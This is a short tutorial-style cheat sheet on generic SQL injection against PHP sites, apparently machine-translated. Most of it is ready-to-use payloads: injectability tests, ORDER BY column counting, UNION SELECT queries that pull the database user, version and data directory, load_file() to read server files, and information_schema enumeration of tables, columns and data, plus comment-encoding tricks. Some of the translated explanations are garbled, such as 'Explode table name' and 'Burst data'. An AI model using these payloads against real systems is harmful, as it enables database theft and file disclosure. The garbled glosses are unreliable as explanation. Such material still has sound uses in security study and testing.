SQL injection (i) Generic injection

Now that you have said it from scratch, start with the injection and review some of the injections that were before.

PHP Injection

0x01

Determine if there is an injection:

' Error

' and 1=1 correct

' and 1=2 Error

0x01

Order by x x represents an integer and determines how many fields are in the database

' and 1=2 Union SELECT ... List all fields, see what fields appear on the page, and replace them with the data you want to query

' and 1=2 Union select 1,user (), 3 ... Displaying 2 of places on a Web page change the user name of the database user

Here User () can be replaced by:

Database () Current databases

@ @datadir Database Address

Version () database versions

Load_file () reads the specified file

。。。。。

' and 1=2 Union select 1,table_name,3 from Information_schema.tables where table_schema=database () limit 0,1//Explode table name

' and 1=2 Union select 1,column_name,3 from information_schema.columns where table_name=table_name limit 0,1//Explode list name

' and 1=2 Union select 1, column,3 from table//Burst data

Precautions:

Sometimes you need to comment some statements in the injection, you can use

#%23

+--+//+ represents a link,

Spaces available with%20

SQL injection (i) Generic injection